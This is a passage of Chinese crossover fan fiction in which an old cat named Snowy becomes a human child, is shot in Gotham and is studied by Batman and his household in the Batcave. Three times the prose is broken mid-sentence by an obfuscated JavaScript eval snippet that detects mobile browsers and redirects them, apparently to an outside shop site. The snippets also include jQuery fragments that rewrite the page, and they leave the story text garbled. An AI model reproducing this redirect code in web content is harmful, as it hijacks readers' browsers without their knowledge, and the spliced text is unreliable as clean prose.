《[综英美]请原谅猫第一次当人》 1. 第一章 森林很深,也很静。 斯诺伊选了一处阳光能漏下来的地方,干燥的落叶堆成柔软的垫子,有苔藓和泥土的味道。她慢慢趴下来,将自己团成一个松散的白色毛球。十八年,对一只猫来说,太长,也太累了。她的骨头时常发出细微的抗议,关节不再像年轻时那样柔韧,曾经能轻易跃上的窗台,现在需要多费些力气。最重要的是,她感觉到某种东西正在缓慢而坚定地从身体里流逝,像沙漏里最后的沙。 她知道那是什么。她的主人,那个头发花白、身上总有茶和旧书味道的人类女性,曾在无数个温暖的午后,一边抚摸她的脊背,一边对着空气低语,说猫咪老了就会去一个很远的地方。斯诺伊不懂很远是多远,但她懂得主人眼里的悲伤。她不想再看到那种悲伤了。 所以,她走了。在一个平静的傍晚,用脑袋最后一次蹭了蹭主人微凉的手背,然后从那条她走过无数次的猫洞溜了出去,没有回头。 森林接纳了她。这里没有车声,没有陌生人的脚步,只有风穿过树梢的呜咽和小虫在腐叶下爬动的窸窣。很安静,适合睡觉。她合上眼,蓝膜覆盖了瞳孔,意识像沉入水底的羽毛,缓缓下坠。身体越来越轻,感知却奇异地向四周弥散开去。她能“听”到脚下土壤深处水脉的流淌,“看”到树根在黑暗中缓慢延伸,甚至能“触摸”到阳光里跳跃的微小尘埃。 然后,那股一直在流逝的东西,仿佛在某个临界点突然改变了方向。不是消散,而是倒灌,是从四周,从这片沉默的森林、从脚下的土地、从头顶的天空,汹涌地汇入她衰老的躯体。 太满了。 有什么东西在她体内炸开,没有声音,只有一片纯粹的白光,以及难以言喻的、仿佛每一个细胞都被打碎又重组的剧痛。她发不出任何声音,意识被抛入沸腾的漩涡。 不知过了多久,疼痛潮水般退去。 冷。 刺骨的寒冷贴着皮肤,是另一种完全陌生的触感。没有了厚实蓬松的毛发,只有一层薄薄的、裸露的皮肉直接暴露在空气里。她猛地睁开眼。 视野变了。更高,也更奇怪。色彩和形状依旧清晰,但视角变得异常别扭。她试图站起来,身体却完全不听使唤,手臂和腿以一种笨拙可笑的方式胡乱摆动。她低头,看到的不再是白色的爪子,而是五根细细的、粉白色的、属于人类的手指。 一声短促的、尖锐的、完全不受控制的音节从她喉咙里挤出来。 那声音高亢,充满了纯粹的惊骇,回荡在寂静的森林里,惊飞了几只鸟。 她,斯诺伊,一只活了十八年的猫,变成了一只两脚兽。一个看起来很小很小的人类幼崽。 混乱。无措。本能驱使她想把自己藏起来,但陌生的身体让她直接摔倒在落叶堆里。她试图像猫一样四肢着地爬行,却发现手臂和腿的长度比例完全不对,动作滑稽又艰难。寒冷、饥饿、以及这具身体自带的、一种陌生的虚弱感,一起涌了上来。 她跌跌撞撞地,凭着残留的方向感和某种更深层的直觉,朝着森林边缘挪动。必须离开这里,必须找到遮蔽,必须……搞清楚发生了什么。 树木渐渐稀疏,月光代替了枝叶间漏下的阳光。她终于踉跄着走出了森林边缘,面前是一片被月光照得发白的空地,更远处,是影影绰绰的人类建筑轮廓,高大,密集,闪烁着零星的光。 那不是她熟悉的纽约的灯火。空气里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081288|195324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味道也不同,潮湿,沉闷,带着铁锈和水体的腥气,还有一种……隐隐约约的、让人不安的尖锐感,像是什么东西腐烂又未曾完全腐烂。 她太累了,这具新身体的体力差得让她绝望。视线开始模糊,耳朵里嗡嗡作响。她靠着最后一点力气,向那些建筑的方向又挪了几步。 然后,她看见了。 在空地另一端,两群黑影正在对峙。有压低了的、凶狠的说话声,有金属摩擦的轻响,还有……一种让她汗毛倒竖(如果还有汗毛的话)的危机感。那是捕猎者与猎物对峙时才会有的气息。 她想后退,想躲回森林,但双腿像灌了铅。 就在这时,一声极其轻微的、不同于人类呼吸和脚步声的响动,从她侧后方很近的地方传来。有人!而且接近得悄无声息!捕食者的本能让她浑身的肌肉瞬间绷紧,她猛地扭过头—— 砰! 不是她转头的声音,是另一声更响、更尖锐、撕裂空气的声音从对峙的方向传来。 几乎在同一刹那,一股灼热的力量狠狠撞上了她的肩膀侧面,巨大的冲击力让她整个人向后摔去。没有剧痛,最初只有麻木和难以置信的灼热感,随后才是潮水般弥漫开的、尖锐的痛楚。湿热的液体顺着她的胳膊往下淌,带着铁锈味。 是血。她的血。 视野瞬间暗了下去,最后映入眼帘的,是侧后方那个不知何时出现的高大黑影的轮廓,以及远处建筑群中,一栋格外突兀、高耸入云的塔楼尖顶。那轮廓她在主人看的新闻里见过无数次。 哥谭。韦恩大厦。 意识沉入黑暗前,最后一个念头微弱地闪烁: 搞什么……我不是在纽约吗? 2. 第二章 寒冷。无边无际的、沉入水底般的寒冷。 然后,是光。并非温暖的光,而是惨白、稳定、毫无温度的人造光,穿透眼皮,带来一种被暴露的不适感。 斯诺伊没有立刻睁开眼。猫的本能在黑暗中苏醒,比人类形态的思维更快。她首先用听觉和嗅觉探索环境。 绝对的安静,只有一种低沉、近乎无声的嗡鸣,像是某种巨大机械在极远处运转。空气冰冷干燥,带着金属、消毒剂、还有一种……淡淡的、混杂的陈旧气味——皮革、润滑油、尘土、以及一丝几乎难以察觉的、属于多个不同个体的、残留的汗水与血的味道。没有自然的风,没有泥土和植物的气息。这里是一个封闭的、人造的、巨大的空间。 她的身体躺在一个坚硬的平面上,覆盖着一层粗糙但厚实的织物。肩膀传来持续、钝重的疼痛,但比昏迷前尖锐的灼痛要缓和得多。她小心地、极轻微地动了动手指,然后是脚趾。身体能响应,虽然沉重而滞涩。 确认了最基本的身体控制后,她才将眼皮掀开一条细缝。 白色的天花板,很高,被均匀的冷光源照亮。她慢慢转动眼球,视线所及,是排列整齐的金属支架,上面摆放着各种奇形怪状的设备,屏幕闪烁着幽幽蓝光。更远处,能看到巨大的计算机阵列,以及……一辆线条锋利、通体漆黑的、看起来像车但绝不是普通车的东西。它的旁边,还有另一辆更轻巧、带着红色装饰的。 这里不是医院。医院不会有这种气味,也不会有这种车。 她彻底睁开眼,试图坐起来。这个动作牵动了肩膀的伤口,一阵刺痛让她吸了口冷气。她低头看去,伤口被白色绷带整齐地包扎着,从肩膀延伸到上臂。身上的衣服也换了,一件过于宽大的、灰色的、材质柔软的连体衣。 她的动作很轻,但在这片死寂中,任何声响都会被放大。 “你醒了。” 声音从侧下方传来,平稳,低沉,不带什么情绪,用的是陈述句,而非疑问。 斯诺伊身体一僵,视线迅速扫过去。 一个男人坐在离她不远的阴影里,身下是一张看起来同样坚硬的椅子。他穿着黑色的衣服,几乎与背景融为一体,只有下巴和紧抿的嘴唇在微弱的光线下显出轮廓。他坐姿挺拔,没有任何多余动作,像一尊凝固的雕像,但斯诺伊能感觉到,对方所有的注意力都牢牢锁在自己身上。 捕猎者的注视。虽然不带杀意,但充满审视、评估和绝对的掌控感。 她喉咙发紧,想发出声音,却只溢出一声短促的、带着痛楚的吸气声。她试图调动面部肌肉,做出一个表情——警告?好奇?——但新获得的人类面孔完全不听使唤,只让她的嘴角古怪地抽动了一下。 男人没有动,只是继续看着她。他的目光在她脸上停留,掠过她过于清澈的蓝色眼睛,扫过她下意识微微抽动的鼻翼(那里曾经是她最灵敏的探测器),最后落回她缠着绷带的肩膀。 “你在犯罪巷边缘中弹。”男人再次开口,语速不快,每个字都清晰,“谁派你来的?” 斯诺伊眨了眨眼。犯罪巷?派来?她听不懂。但她捕捉到了关键词“中弹”。是那个砰一声的东西吗?她记得那股灼热和冲击。她抬起没受伤的手臂,笨拙地指了指自己肩膀,然后做了个“飞过来”的手势,最后皱起整张脸,努力表达出“疼”和“不知道”。 男人沉默了片刻。 “你不会说话。”依然是陈述句。 斯诺伊摇头,又点头,最后露出困惑的表情。她不是不会,是不懂怎么用这个新身体的发声器官,组合出对方能理解的声音序列。作为猫,她的沟通更多依赖姿势、尾巴、耳朵和气味。 男人站了起来。他身材异常高大,走近时带来一片阴影。斯诺伊不由自主地向后缩了缩,背抵上了冰冷的金属台面。警惕的竖瞳本能地出现在她眼中——如果此刻她还有竖瞳的话。她的蓝眼睛只是微微睁大,一瞬不瞬地盯着对方。 他在距离她几步远的地方停下,没有靠得太近。他伸出手,手里拿着一个扁平的、发光的板子。 “看这个。”他说。 板子上显示出一张照片,是森林,她最后失去意识的那片空地,但角度是从高处俯瞰。照片被放大,聚焦在一个小小的、白色的身影上——一个银发小孩倒在地上,身下有一滩深色痕迹。 那是她。 斯诺伊盯着照片,又抬头看看男人,眼神里的困惑更深了。这有什么用?告诉她她中弹了?她知道啊。 男人滑动屏幕,下一张是各种数据图表,线条起伏,旁边有她看不懂的符号和文字。再下一张,似乎是某种扫描影像,勾勒出她身体的内部结构。 “没有已知身份记录。没有皮下芯片。没有魔法残留的典型波动。”男人像是在对她说话,又像是在自言自语,“弹道分析显示流弹来自黑面具手下与企鹅人货船护卫的交火。但你的出现位置和时机,是千分之一的巧合,还是刻意安排?” 斯诺伊只听懂了“黑面具”、“企鹅人”几个词,那是主人看电视新闻时,她偶尔听到的、伴随着爆炸和枪声的名字。坏人的名字。她皱起鼻子,露出一个明显的厌恶表情,虽然搭配她现在的孩童面孔,看起来更像是在闹脾气。 男人注意到了这个表情。他关掉屏幕,将板子放到一边。 “你的伤口。”他换了个话题,目光重新落在她的绷带上,“愈合速度超出常规范畴。中弹后约七小时,外部伤口已停止出血并开始初步愈合。这不是普通人类能做到的。” 他停顿了一下,向前迈了一小步。 “你是什么?” 这三个字,他问得很轻,但里面的重量让空气都似乎凝滞了。 斯诺伊张了张嘴,喉咙里发出几个无意义的音节。她是什么?她是斯诺伊。是一只猫。但现在……她看着自己细小的手指,又摸了摸自己光滑的脸颊。她不知道。 困惑、茫然,还有一丝因为无法沟通而产生的焦躁,清晰地写在她脸上。她不再试图回答,而是转过头,开始认真打量这个巨大的空间。她的目光掠过那些奇异的设备,落在远处一个通向更黑暗区域的拱门,又扫过天花板纵横交错的管道。她在寻找出口,评估高度,计算如果跳下去(用这双笨拙的腿)会不会受伤。 这些细微的、观察环境的神态和眼神变化,没有逃过男人的眼睛。那不是普通孩童好奇的打量,更像是一种对环境进行本能评估的警觉。 就在这时,另一道脚步声从入口处的黑暗通道传来,不疾不徐,沉稳而规律。 一个穿着笔挺西装、系着领结的老人出现在光亮边缘。他头发花白,面容严肃,手里端着一个托盘。托盘上放着一杯水,一小碟看起来是食物泥的东西,还有一套叠好的、尺寸小得多的干净衣物。 他的出现瞬间改变了空间里的气氛。男人(斯诺伊现在心里默默把他归类为“黑漆漆”)向后退了半步,将主导权让了出来。 老人走近,将托盘放在斯诺伊旁边的台面上。他的目光落在她裹着绷带的肩膀和过于宽大的衣服上,灰蓝色的眼睛里闪过一丝难以察觉的温和,但整体表情依旧维持着一种得体的平静。 “晚上好,小姐。”他的声音比“黑漆漆”柔和得多,带着一种老式的、刻板的礼貌,“我想您可能需要一些水和食物。另外,阿尔弗雷德·潘尼沃斯,为您服务。这里是韦恩庄园的地下区域。” 韦恩。斯诺伊捕捉到了这个词。韦恩大厦。所以,这里和那个高塔有关。 阿尔弗雷德将水杯往她面前推了推。清水的味道飘散过来,带着一丝容器本身的洁净气息。斯诺伊确实感到干渴,喉咙像被砂纸磨过。她看看水杯,又看看阿尔弗雷德,再看看旁边沉默的“黑漆漆”。猫的本能让她对陌生食物保持警惕,但干渴压倒了一切。她伸出没受伤的手,小心地捧起杯子。很重,她需要两只手才能拿稳。她凑近杯口,先嗅了嗅——只有水的味道——然后才小口小口地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081289|195324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啜饮起来。清凉的液体滑过喉咙,带来些许慰藉。 喝了几口,她停下来,看向那碟食物泥。淡黄色的,没什么明显气味。她伸出食指,极快地沾了一点,放进嘴里舔了舔。 味道很淡,微咸,质地细腻。不是她记忆中小鱼干或猫粮的味道,但也不难吃,而且她的胃正发出空洞的鸣叫。饥饿感前所未有的鲜明,几乎成为一种独立的疼痛。她不再犹豫,端起小碟子,用旁边的小勺笨拙但迅速地往嘴里送。吃得急了,有些食物泥沾在了嘴角。 阿尔弗雷德静静地站着,看着她进食,没有打扰,也没有试图帮忙擦拭。直到她把碟子里的食物吃得干干净净,又喝光了剩下的水,他才再次开口。 “鉴于您目前的情况,以及外面可能仍存在的……不稳定因素,”阿尔弗雷德措辞谨慎,“韦恩先生认为,您暂时留在这里是更安全的选择。在您的身份和健康状况明确之前。” 韦恩先生。斯诺伊看向“黑漆漆”。他是韦恩先生。 布鲁斯·韦恩,也就是蝙蝠侠,此刻面具下的眉头并未舒展。阿尔弗雷德的提议符合逻辑,也是目前风险最低的方案。这个孩子身上疑点太多,愈合能力、突然出现在犯罪现场、对复杂问话近乎幼儿般的反应,但观察环境时却又流露出非比寻常的警觉。放出去,要么落入□□之手,要么被其他势力盯上。留在蝙蝠洞,处于监控之下,是最可控的。 但“可控”只是理论上的。她究竟是什么?她的能力从何而来?会不会突然失控?这些问题都没有答案。 斯诺伊听不懂那些复杂的句子,但她捕捉到了“留在这里”、“安全”几个词。她环顾这个巨大、冰冷、充满金属和机械的洞穴。这里不像是巢穴,没有柔软温暖的地方可以蜷缩,没有可以藏身的角落,光线太亮,气味太杂。但是,外面的世界有“砰”一声的东西,有黑面具和企鹅人,有让她受伤的危险。 而且,她太累了。新身体的疲惫,伤处的隐痛,刚刚进食后的困倦,一起涌了上来。她小小的脑袋无法处理这么多信息,本能选择了最直接的反应。 她放下空碟子和杯子,身体向后挪了挪,将自己尽可能缩成一团,靠在冰冷的金属台面边缘。然后,她抬起头,用那双过于明亮的蓝眼睛,看了看阿尔弗雷德,又看了看布鲁斯,最后,目光落在阿尔弗雷德刚刚放在托盘旁边的那套小衣服上。 她伸出手,轻轻碰了碰那柔软的布料,然后收回手,重新抱紧自己的膝盖,将脸埋了进去。 这是一个明确的信号:我留下,但我需要休息,别打扰我。 阿尔弗雷德微微颔首。“我会为您准备一个更舒适些的临时休息处。”他收起托盘,转身离开,脚步声再次规律地远去。 布鲁斯站在原地,又凝视了那团小小的身影几秒。女孩的呼吸逐渐变得悠长平稳,似乎真的很快陷入了睡眠,或者是一种保存体力的休眠状态。她的姿态,那种将自己缩紧、寻找依靠物的方式,与受伤后寻求安全的幼兽并无二致。 但幼兽不会拥有那样的愈合速度。 他转身,走向主控电脑。屏幕上,关于这个无名女孩的数据分析还在运行,旁边是哥谭今晚所有异常活动的报告窗口。他调出犯罪巷周边所有的监控录像(能找到的),一帧一帧地查看,寻找任何可能与她出现相关的线索。 同时,另一个加密窗口悄然打开,连接着另一个数据库。他输入初步的观察特征:银发,蓝眼,外貌年龄约五至六岁,女性,异常愈合能力,对环境有动物般的警觉,语言能力缺失或受阻…… 搜索条件苛刻,但他需要从所有已知的超人类、魔法事件、基因实验项目中寻找哪怕一丝相似的记录。 蝙蝠洞里,只剩下机器低沉的嗡鸣,和那个在冰冷台面上蜷缩入睡的、谜一样的女孩轻微的呼吸声。 黑暗的洞穴,成为了她在这个陌生人类世界的第一处巢穴,而她甚至还不完全明白,巢穴的主人,是哥谭黑夜中最令人恐惧的存在。 3. 第三章 睡眠并不安稳。 斯诺伊的身体习惯了在柔软织物或阳光下打盹,警觉性分散在毛发竖立的触感与空气中飘来的信息素里。而这里,金属的硬度透过薄垫硌着她的骨头,恒定的低温让裸露的皮肤持续传递着“寒冷”的信号。最让她不适的是气味,浓烈的机油、电子元件发热、消毒水混合着一种陈旧的石头味道,盖过了所有细微的环境信息。 她睡得很浅,像猫一样,每隔一段时间就会自动醒来,用耳朵和鼻子快速扫描四周。每次醒来,都能听到那个低沉稳定的嗡鸣声,以及远处断断续续的、非常轻微的敲击键盘的声响。“黑漆漆”——她现在在心里这么称呼布鲁斯·韦恩——几乎没有离开过那个布满屏幕的区域。 有一次她醒来,闻到空气里多了一丝新鲜食物的香气,混合着蛋白质和油脂的味道。她的胃立刻发出响亮的咕噜声,在寂静的洞穴里异常清晰。她有些尴尬地把脸更深地埋进臂弯,假装没听见。 但那香气持续飘来。过了一会儿,规律的脚步声靠近,是阿尔弗雷德。他无声地放下一只托盘,比上次的更丰盛一些:切得很小块、易于抓取的鸡肉,几片全麦面包,一小碗看起来是蔬菜泥的东西,还有一杯牛奶。食物的摆放方式显然考虑到了她可能不擅长使用复杂餐具。 斯诺伊等阿尔弗雷德的脚步声再次远去,才抬起头。饥饿感压倒了一切。她先凑近嗅了嗅,确认没有奇怪的气味,然后用手抓起鸡肉块塞进嘴里。鸡肉煮得软嫩,只有一点盐味,很适合她现在脆弱的肠胃。她吃得很快,但不再像第一次那样狼吞虎咽,而是带着一种仔细品尝的专注。面包被她撕成小块,蔬菜泥也很快见底。牛奶她喝得很小心,乳制品的味道对她来说是全新的体验,不难喝,但需要适应。 吃完后,体力恢复了一些,精神也随之活跃起来。困在台面上让她感到烦躁。她需要活动,需要探索这个临时巢穴的边界,需要知道哪里是安全的角落,哪里有潜在的威胁或出口。 她慢慢地滑下金属台面。双脚接触冰冷的地面时,她瑟缩了一下,随即站稳。这双腿还是很不习惯,走起来摇摇晃晃,像踩在高跷上。她扶着台面边缘,开始一小步一小步地挪动。 她的第一个目标是远离那个最明亮、噪音源最多的主控台区域。她沿着洞穴的边缘,贴着冰冷的石壁,朝光线更暗的地方走去。她的眼睛迅速适应了昏暗,看清那里堆放着一些闲置的设备箱、备用的轮胎,还有一些罩着防尘布的、形状不规则的大型物件。 她在一堆叠放整齐的黑色箱子后面,发现了一个空隙。不大,但足够她蜷缩进去,而且三面都有遮挡。她小心地爬进去,试了试,空间刚好。这里的光线很暗,气味也相对单一,主要是灰尘和旧橡胶的味道。她背靠着冰冷的箱子,面朝外,可以观察到大部分洞穴的情况,而自己则处于阴影的庇护下。 这个发现让她紧绷的神经稍微放松了一点。一个可以藏身的地方,这是安全感的重要来源。 她在小空间里待了一会儿,听着远处的动静。键盘声停止了,取而代之的是一种缓慢的、靴子踩在地面上的踱步声。布鲁斯似乎在思考什么。 然后,她听到另一种声音。非常轻微,几乎被背景噪音掩盖,但从洞穴另一端的通道传来。是脚步声,但和布鲁斯、阿尔弗雷德的都不同,更轻快,带着一种独特的弹性节奏。不是一个人。 斯诺伊立刻警觉起来,身体缩得更紧,屏住呼吸,只有眼睛在阴影中微微发亮。 两个人影前一后从通道走入光亮区。走在前面的一个穿着红黄绿三色制服,身材矫健,脸上戴着多米诺面具,黑色的短发有些凌乱。他边走边说着什么,语气轻松。后面跟着一个更高挑的身影,穿着黑蓝相间的制服,胸口有一个蓝色的飞鸟标志,脸上同样戴着面具,但气质更沉稳些。 “我就说通讯器里的杂音不对劲,B肯定又屏蔽了我们的特定频段……”走在前面的少年话说到一半,突然停住,目光锐利地扫向洞穴四周,“有陌生气味。” 他的鼻子动了动,像猎犬一样。斯诺伊心里一惊。这个人也有敏锐的嗅觉? 后面那个高挑的身影也停了下来,姿态放松但眼神瞬间变得专注,同样在无声地观察环境。“不是已知的入侵者气味。很淡……有点奇怪。”他的声音比少年低沉一些。 布鲁斯的声音从主控台方向传来,打断了他们的侦查。“达米安,迪克。任务报告。” 被叫做达米安的少年——也就是罗宾——立刻转身走向主控台,但眼神仍然带着探究。“父亲,这里有……” “我知道。”布鲁斯打断他,调出了一些数据在屏幕上,“一个临时收容对象。情况特殊,暂未评估威胁等级。” 迪克·格雷森,夜翼,跟了过去,他看向布鲁斯调出的资料和监控画面。画面里正是斯诺伊蜷缩在金属台面上睡觉,以及她刚刚溜下台面、蹒跚走向黑暗边缘的片段。 “小孩?”迪克的声音里带着惊讶,“从哪里来的?她受伤了?”他看到了绷带。 “犯罪巷,流弹。愈合速度异常。”布鲁斯言简意赅,“没有身份信息,沟通存在严重障碍,行为模式不符合常规认知。” 达米安盯着屏幕,皱起眉头,他放大了斯诺伊躲在箱子后的画面,虽然阴影很暗,但热成像显示她就在那里。“她在观察我们。位置选择具有隐蔽性和视野优势。这不像是普通孩童受惊后的行为。” “更像野生动物。”迪克补充,他的观察角度不同,“你看她走路的姿势,非常不协调,像是刚学会用腿。但她的平衡感其实不差,滑下台面时重心控制得很稳。矛盾。” 布鲁斯没有评论,而是调出了一组生理监测数据。“基础代谢率在受伤后两小时达到峰值,随后缓慢下降至高于常人的稳定水平。体温波动范围微小。没有检测到明显的魔法或外星能量辐射,但细胞活性读数异常。” “实验体?”达米安的语气冷了下来,手按上了腰间的刀柄。 “没有发现外部控制装置或改造痕迹。基因序列初步比对,属于人类范畴,但有大量无法解读的非编码区段,以及端粒长度……与外貌年龄不符。”布鲁斯的声音没有起伏,但说出的内容让迪克和达米安都沉默了。 “所以,她到底是什么?”迪克问出了布鲁斯之前问过的同一个问题。 “未知。”布鲁斯关掉了大部分屏幕,只留下洞穴几个关键区域的监控画面,包括斯诺伊藏身的角落。“在她表现出明确威胁或我们掌握更多信息前,保持观察。阿尔弗雷德会负责基本照料。不要主动接触,避免刺激。” 达米安哼了一声,显然对这种被动的处理方式不甚满意,但他没有反驳布鲁斯的命令。迪克则点了点头,目光再次投向那个黑暗的角落,眼神里多了几分深思和不易察觉的温和。 他们的对话,斯诺伊大部分听不懂,但她能捕捉到情绪和关键词。“实验体”——听起来不是好词。“观察”——她一直被看着。这让她更加不安。 她听到他们的脚步声分散开。达米安走向训练区,那里传来器械摩擦的声音。迪克则去了装备维护台,开始检查他的卡里棍。布鲁斯继续面对屏幕。 时间在洞穴恒定的低温与各种机械、训练的声响中流逝。斯诺伊保持不动,观察着这三个新出现的两脚兽。叫达米安的少年动作精准、迅捷,带着一股锋利的劲头,情绪似乎很容易被挑起。迪克则显得更放松,他的动作流畅如舞蹈,即使在维护武器时也带着一种独特的韵律。布鲁斯……他像一块黑色的岩石,沉默,稳定,是这一切的中心。 饥饿感再次袭来,比她预想的要快得多。肩膀的伤口也在持续消耗能量,她能感觉到那里微微发痒,是愈合的过程在加速。她需要食物,需要更多能量。 她犹豫了很久,直到胃部的空虚变成一种难以忽视的绞痛。她必须离开这个暂时的藏身点。 她极其缓慢地从箱子后面爬出来,动作轻得几乎没有声音。她贴着石壁,再次向主控台附近,之前阿尔弗雷德放食物的地方挪动。那里现在空着。 她站在那里,有些无措。她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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达米安不知何时走了过来,抱着手臂站在不远处打量她,眼神依旧锐利。“进食速度很快,咀嚼充分,对陌生食物有基本的警惕和品尝步骤。不像完全缺乏生存常识。” “但也绝对不像在正常人类家庭长大的孩子。”迪克低声道。 布鲁斯只是看着,记录下她对新食物的反应,对蓝莓表现出的短暂愉悦,以及进食过程中始终未完全放松的肢体语言。 斯诺伊吃完后,体力恢复了一些。她没有立刻回到那个箱子后的角落,而是站在原地,似乎犹豫着什么。然后,她做了一件让三个旁观者都微微一愣的事。 她转向阿尔弗雷德,虽然没说话,但微微低下头,用额头虚虚地、很快地朝阿尔弗雷德的方向点了一下。那是猫在表达轻微感谢或友好时,会用头顶蹭信任对象的方式的变体。做完这个动作,她立刻转身,用比来时稍微稳当一点的步伐,迅速走回那个黑暗的角落,重新把自己藏了进去。 洞穴里安静了片刻。 “有意思。”迪克摸了摸下巴。 达米安撇了撇嘴。“模仿行为?还是某种交流仪式?” 布鲁斯的目光在监控画面上停留许久。那个小小的身影回到遮蔽物后,并没有立刻休息,而是再次调整姿势,确保自己处于最佳的观察和隐藏位置。她的学习速度、适应能力、以及那些混杂着野性本能和难以解释的“礼貌”举止,拼图越来越复杂,而关键的图案依然缺失。 他调出一个新的分析程序,开始比对她的行为模式与数据库里记录的各种情况——被野兽养大的孩子,严重自闭症患者,经历极端创伤后的解离状态,高级智能仿生体的初期学习阶段…… 没有一个能完全匹配。 她是一个谜,一个带着枪伤、异常愈合能力、突然出现在哥谭黑暗边缘的活体谜题。而此刻,这个谜题正蜷缩在蝙蝠洞的阴影里,用一双过于澄澈的蓝眼睛,安静地回望着这个将她置于观察之下的、冰冷而巨大的巢穴。 4. 第四章 接下来的一天(或者更久?蝙蝠洞里没有昼夜之分,只有布鲁斯他们出入时带来的外部时间信息),斯诺伊的生活形成了一个简单而警惕的循环:在藏身的角落休息,被饥饿感驱促使出去觅食(阿尔弗雷德似乎总能算准时间出现),进食,观察洞穴内的活动,然后回到角落。 她开始熟悉这三个常驻的两脚兽的基本模式。 布鲁斯是核心,最沉默,也最难以预测。他长时间面对那些发光的屏幕,偶尔会起身进行高强度但无声的训练,或是在一堆复杂的机械前工作。他靠近时,存在感极强,像一块移动的阴影,带着一种无形的压力。斯诺伊对他始终保持最大的距离和最谨慎的观察。 迪克是相对最让她放松的一个。他有时会尝试和她进行极简的“对话”,比如指着一个杯子说“水”,或者模仿她之前感谢的点头动作。他的声音总是很温和,动作幅度小,不会突然靠近。斯诺伊虽然不回应,但会认真听,偶尔眼神会流露出思索。 达米安则是另一个极端。他几乎从不主动理会斯诺伊,但斯诺伊能感觉到,自己始终在他的视线余光里。他训练时杀气腾腾,说话尖锐,对布鲁斯的指令有时会流露出不服气的争辩。斯诺伊本能地将他归类为“好斗的年轻雄性”,需要保持更远的距离。 她对环境的探索也在缓慢扩展。她发现了水源——一个位置很低的饮水槽,可能是给某些大型机械降温用的循环水接口,水流细小但持续。她学会了用双手捧水喝,虽然姿势笨拙。她还发现了一些废弃的软垫和防水布,她拖了一块大小合适的垫子回自己的角落,让休息的地方稍微舒适了一点。这个行为引起了注意,但没人阻止。 她也在学习这具身体。走路依然不稳,但摔倒的次数在减少。她开始尝试更复杂的动作,比如攀爬那些堆叠的箱子。第一次尝试时,她错误估计了人类手臂的力量和抓握方式,差点摔下来,惊动了正在附近保养蝙蝠车的迪克。迪克瞬间移动到下方准备接住她,但她却在最后一刻用脚勾住了箱子的边缘,以一种猫般不可思议的柔韧性扭身,重新找到了平衡,缓慢地爬了下来,只是喘得有些厉害。 迪克站在原地,面具下的眼睛睁大了。“哇哦,”他轻声说,“这可……真不一般。” 布鲁斯的声音从主控台传来,冷静地叙述:“关节活动范围远超正常人类极限,肌肉协调性和神经反应速度在应激状态下显著提升。记录数据。” 斯诺伊听不懂“记录数据”,但她听出了布鲁斯声音里那种研究的意味。她不高兴地朝主控台方向看了一眼,然后快步走回自己的角落,接下来的几个小时都没有再出来活动。 她的肩膀愈合得很快。第三天,她趁着洞穴里暂时只有她一个人(布鲁斯和达米安似乎去了上层,迪克在另一个分区检查通风系统),小心地撕开了绷带的一角。下面的皮肤已经愈合,只留下一道浅浅的粉红色痕迹,摸上去微微发硬,有点痒。她抠了抠,痕迹没有变化。看来“砰”一下造成的伤口,正在好起来。 这让她稍微安心了一点。身体在恢复,这意味着她或许有能力离开这个奇怪的地方了。离开的念头一直存在,虽然这里暂时有食物和安全(相对外面那些“砰”一声的东西而言),但这不是她的地方。气味不对,光线不对,那些两脚兽看她的方式也不对。她需要出去,需要找到……找到什么?她不知道。也许是回森林的路?但森林在纽约,而这里是哥谭。这个认知让她感到一种深层的迷茫。 这种迷茫,混合着对陌生环境持续的不适,在第四天(可能是)达到了一个顶点。 那天,达米安似乎心情格外不好。他在训练时失误了一次,被模拟对手的机械臂扫中,虽然立刻反击将机械臂打停,但他显然对自己的失误极为恼火。他低吼了一声,一拳砸在旁边的沙袋上,发出沉闷的巨响。 这突如其来的巨响在洞穴里回荡。斯诺伊正在饮水槽边小心地喝水,声音传来的瞬间,她整个身体猛地一颤,像被无形的鞭子抽中。手中的水溅了出来,她几乎是四肢着地(虽然姿势别扭)地窜回了自己的角落,缩进最深处,身体微微发抖。不是害怕达米安,而是那巨响本身,触动了某种更深层的东西——关于枪声,关于冲击,关于突然降临的疼痛和黑暗的记忆碎片。 她的反应被刚刚返回主控台的布鲁斯和正在走回来的迪克尽收眼底。 达米安也注意到了,他停下动作,看向那个角落,眉头紧锁。“过度惊跳反应。与创伤后应激障碍的部分表现吻合,但结合其愈合能力,生理上不应残留如此强烈的神经性反应。” “也可能是对特定类型巨响的关联性恐惧。”迪克走近几步,但停在安全距离外,观察着斯诺伊。她能听到他放轻的呼吸声。 布鲁斯调出了之前的枪击现场音频分析,以及斯诺伊中弹前后的生理模拟数据。“枪击发生时,其意识处于高度混乱状态,对新躯体认知不足。巨响与剧烈疼痛、濒死感强行关联。这种原始层面的恐惧烙印,可能比生理伤害更持久。” 